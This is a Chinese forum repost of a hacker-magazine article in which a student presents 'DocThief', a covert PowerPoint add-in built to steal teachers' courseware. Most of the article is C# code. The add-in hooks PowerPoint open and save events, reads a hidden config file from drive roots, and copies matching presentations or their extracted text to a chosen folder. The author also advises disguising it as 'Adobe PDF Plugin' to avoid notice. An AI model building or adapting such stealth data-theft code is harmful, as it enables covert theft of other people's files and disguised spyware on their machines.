论坛首页 Microsoft .Net版 C#

再战数据库安全

浏览 54 次
该帖已经被评为隐藏帖
作者 正文
时间:2008-05-14
这是一篇黑客防线5月刊上的文章,原文见http://www.5ushare.com/vsto/%e5%86%8d%e6%88%98office%e6%95%b0%e6%8d%ae%e5%ae%89%e5%85%a8.html

作为学生,常常能碰到一些爱搞“隐私”的老师。这些老师往往不愿意轻易将自己的劳动成果给予他人。对于他们,咱们这些网络安全的爱好者也只能自己动手了。
现今来说,“拿”教师的课件的方法是一般有三种。其一是“U盘小偷”类软件,这类软件容易由于对工作条件要求比较高,一般“用户”都会将它置于启动项中,这样一来也未免有些过于招摇,而且这类软件拷贝的内容未经筛选,将取到大量无用文档,大大的浪费了咱们宝贵的容量;第二种便是“Easy Recovery”类软件,当老师把文档拷到本地的缓存文件夹时,这类软件能表现出非凡的能力,然而当老师直接在U盘的辅助存储器上播放课件时,这类软件也只能无力回天了。第三种是使用Office宏,但是由于宏的安全性这种方式有极大的限制性。
大家知道,MS Office提供了一系列插件接口,开发者可以通过调用其接口为Office开发新的特性。当这一个技术被非法利用的时候,一种新的方法诞生了:基于Office的插件系统开发数据盗窃软件。
我开发的DocThief ,是一款基于PowerPoint Com组件加载系统的数据盗窃软件。其主要功能是监控PowerPoint事件,当有打开或保存某文档时执行盗窃动作。盗窃方式包括下面一些步骤:扫描该文档,发现符合自定义的规则(存在某关键字),则将其内容储存。储存方式分两种,既直接复制文件,或只提取文字,保存为文本文件。
该软件的开发是基于Office 2005 + VSTO。VSTO全称VS Tool for Office,是开发Office的工具,可在微软官网下载得到。其安装较为简易,在此,我不多做介绍。装完这款软件后,咱们便能开始VSTO之旅了。打开VS,在“新建项目”窗口的C#或VB下便有了Office选项,点击,有PowerPoint外接程序等。如图1:
以下,我便直接从我的程序出发,给大家介绍一些简单的VSTO。
首先,便是程序中要用到的一些,变量,如下:
//目的文件名,默认值为”test.ppt”
private string Str_DesFileName = “test.ppt” ;
//目的文件路径,默认值为@”d:\”
private string Str_DesFilePath = @”d:\” ;
// 当前文档
//VSTO 中,一个ppt既是一个Presentation
private PowerPoint.Presentation CurPresention ;
//保存文件的线程
private System.Threading.Thread Thread_SaveFile ;
接下来便进入程序了,笔者将以程序运行顺序,依次给大家介绍重要内容。
VSTO 在加载时,会运行private void ThisAddIn_Startup( object sender, System.EventArgs e ),于是,咱们也就能在这儿进行初始化了。这款程序的初始化主要是读取用户的加载文件,如果需要既开始侦测事件。由于这是一款不太适合“招摇”的程序,因此也不可能在PowerPoint中写出一个加载项来让用户选择加载文件或填写各种信息,只能通过固定路径的方法来储存此加载文件。笔者在此是枚举所有盘符,并在各盘的根目录直接搜索此文件,若文件存在,则开始侦测,否则不侦测,代码如下:
string[] Tmp = Environment.GetLogicalDrives();
foreach ( string Str_Driver in Tmp )
{
if ( File.Exists ( Str_Driver + “Demand.dem” ) )
{
Str_DemandFilePath = Str_Driver + “Demand.dem”;
break;
}
}
if( string.Empty == Str_DemandFilePath )
{
return;
}
ReadDemand();
开及保存事件侦测代码如下:
this.Application.PresentationOpen +=
new Microsoft.Office.Interop.PowerPoint.EApplication_PresentationOpenEventHandler( this.PresentationOpen );
this.Application.PresentationSave +=
new Microsoft.Office.Interop.PowerPoint.EApplication_PresentationSaveEventHandler( this.App_PresentationSave );
this.PresentationOpen 及 this.App_PresentationSave 为自定义函数,但其参数已被限制,此内容将在后边介绍。
下面,咱们便进入加载文件的读取。加载文件的内容模板如下:
< DesPath = @”d:\wuys” > < DesName = “filename” > < KeyWord = “hi” > < IsOverwrite = false > < CopyMode = OnlyText >
第一项为保存路径;第二项为文件名,当DesName为filename时,为原文件名;第三项为关键字,只当关键字存在时方拷贝文件,关键字可以有多项,也可以为空,为空时无论什么文件皆拷贝;第四项为同名时是否覆盖;最后一项为储存模式,有OnlyText或Copy两种选择。其具体内容,便是读取文件在解析表达式了,这段代码我就不写出来了。大家去光盘里面看看好了。
其中,有出现Is_ToCopy(Str_KeyWord)函数,这是一个bool型函数,主要功能是处理关键字。在当前文档中搜索关键字。若关键字存在,则返回true,表示此文档需要拷贝,否则返回false。
这个函数的是通过枚举的方法,将文档中的所有文字与Str_KeyWord相比较,若找到,则直接返回,否则继续,直至最后,返回false。以下,我便将这个函数全文拷贝过来,正好也能让大家了解一下VSTO中PowerPoint的结构。
private bool Is_ToCopy(string Str_KeyWord)
{
if (Str_KeyWord.Trim() == “”)
return true;
foreach (PowerPoint.Slide slide in this.Application.ActivePresentation.Slides)
{
foreach (PowerPoint.Shape shape in slide.Shapes)
{
//To see whether the Str_KeyWord exist in the Presentation
string tmp = shape.TextFrame.TextRange.Text;
int i = tmp.IndexOf(Str_KeyWord);
if (-1 != i )
return true;
}
}
return false;
}
在这两个foreach中,PowerPoint的结构比较清楚的展示出来了。其中,slide表示一页,shape则为一个元件,可以是 PowerPoint中你能加入的任何一种元素。到此为止,初始化就算完成了,接下去的便是事件的驱动了,咱们也离隐蔽的文档近了一步。
当事件发生时,咱们的函数也就跑了起来。由于侦测函数有严格的参数定义,以下全文给出。里边内容,大多前边都有介绍,便不多说了。
private void PresentationOpen(PowerPoint.Presentation presentation)
{

Str_SourceFileName = presentation.Name;
Str_SourceFilePath = presentation.Path;
CurPresention = presentation;
if (Is_Copy)
{
Thread_SaveFile = new System.Threading.Thread(SaveFile);
Thread_SaveFile.Start();
}
}

private void App_PresentationSave(PowerPoint.Presentation Pres)
{
if (Is_Copy)
{
SaveFile();
}
}
最后,便是咱们的保存文件函数了SaveFile()。
try
//容错
{
string Str_Des;
if (Is_OverWrite)
{
//此为覆盖模式,直接用路径加上文件名。
Str_Des = Str_DesFilePath + “\\” + Str_DesFileName;
}
else
{
//非覆盖模式。
string Str_FileName;
string Str_FileSuff;
//将文件名和后缀名分开。
int Int_Pos = Str_DesFileName.LastIndexOf(’.');
Str_FileName = Str_DesFileName.Substring(0, Int_Pos);
Str_FileSuff = Str_DesFileName.Substring(Int_Pos, Str_DesFileName.Length - Int_Pos);
if (File.Exists(Str_DesFilePath + “\\” + Str_DesFileName))
{
int i = 1;
//在文件名后边加数,以保证不覆盖其他文件。
while (File.Exists(Str_DesFilePath + “\\” + Str_FileName + i.ToString() + Str_FileSuff))
{
i++;
}
//由此便得到全路径及文件名。
Str_DesFileName = Str_FileName + i.ToString() + Str_FileSuff;
}
Str_Des = Str_DesFilePath + “\\” + Str_DesFileName;
}
if (0 == Int_CopyMode)
{
//拷贝模式。
File.Copy(Str_SourceFilePath + “\\” + Str_SourceFileName, Str_Des, true);
}
else
{
//纯文本模式。
StreamWriter SWrite = new StreamWriter(Str_Des);
//设置此属性后,SWrite能自动刷新内容,将缓存储存。防止某些错误发生而导致的信息丢失。
SWrite.AutoFlush = true;
//这个想必大家都不陌生了,在前面有类似的出现过。通过枚举来获得所有可视文字。
foreach (PowerPoint.Slide slide in this.Application.ActivePresentation.Slides)
{
//在最前面加上页面信息
SWrite.WriteLine(”Slide : Page ” + slide.SlideIndex.ToString());
SWrite.WriteLine();
foreach (PowerPoint.Shape shape in slide.Shapes)
{
//容错模式,若没有此项,则因某shape没有TextRange.Text发生错误时,此shape后所有信息都无法保存,对咱们是一个很大的损失。
try
{
string tmp = shape.TextFrame.TextRange.Text;
tmp.Replace(”\r”, “\n”);
SWrite.WriteLine(tmp);
}
catch (Exception Exception)
{
//异常处理
EventLog.WriteEntry(”SSPPDllMs”, “ERROR - ” + Exception.Message.ToString(), EventLogEntryType.Error);
}
}
SWrite.WriteLine();
}
SWrite.Close();
}
}
catch (Exception Exception)
{
//异常处理
EventLog.WriteEntry( “SSPPDllMs” , “ERROR - ” + Exception.Message.ToString(), EventLogEntryType.Error );
}
这样,咱们的文本小偷便完成了。咱们便能轻松“拿”到老师的隐蔽文档了。

但是我的DocThief还有个问题,那就是在Office加载项里面会出现它可怜的身影,怎么办呢?我建议的解决方案是把他的名字改成Adobe PDF Plugin。这样就比较有迷惑性了…期待更好的解决方法,如果大家有什么好的想法和意见,请联系我吧。
   
论坛首页 Microsoft .Net版 C#

跳转论坛:
JavaEye推荐